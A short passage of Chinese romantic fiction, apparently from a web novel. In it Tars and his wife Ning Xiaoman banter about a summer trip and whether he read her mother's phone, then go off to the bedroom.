“话说回来,老婆,你真辞职啦?” “没,这不正好赶上学生放暑假嘛。” 塔尔斯抱着逮到的爱人亲了一口,轻声呢喃了一句,“螳螂捕蝉、黄雀在后,满满,咱们俩成螳螂了。” “什么?”宁小满顶着额头上亮晶晶的汗水不解回头。 塔尔斯低头在宁小满侧脸啄了一下,“没什么,该收拾行李了。” “嗯,刚才忘了问去哪,好好奇,要不咱们去底下问个清楚再收拾东西?” “我知道,问我就行了。” 宁小满狐疑转头,“你是不是偷看妈妈手机了?” “满满忘啦?邪神无所不知。” “切,我才不信呢,除非……” “除非什么?” “除非你告诉我接下来会去哪!” 塔尔斯黏黏糊糊的凑过去,“求我。” “爱说不说,不说就滚。”宁小满推搡着塔尔斯凑过来脸愤愤道。 推搡着推搡着两人的身影消失在二楼拐角,却是进了卧房……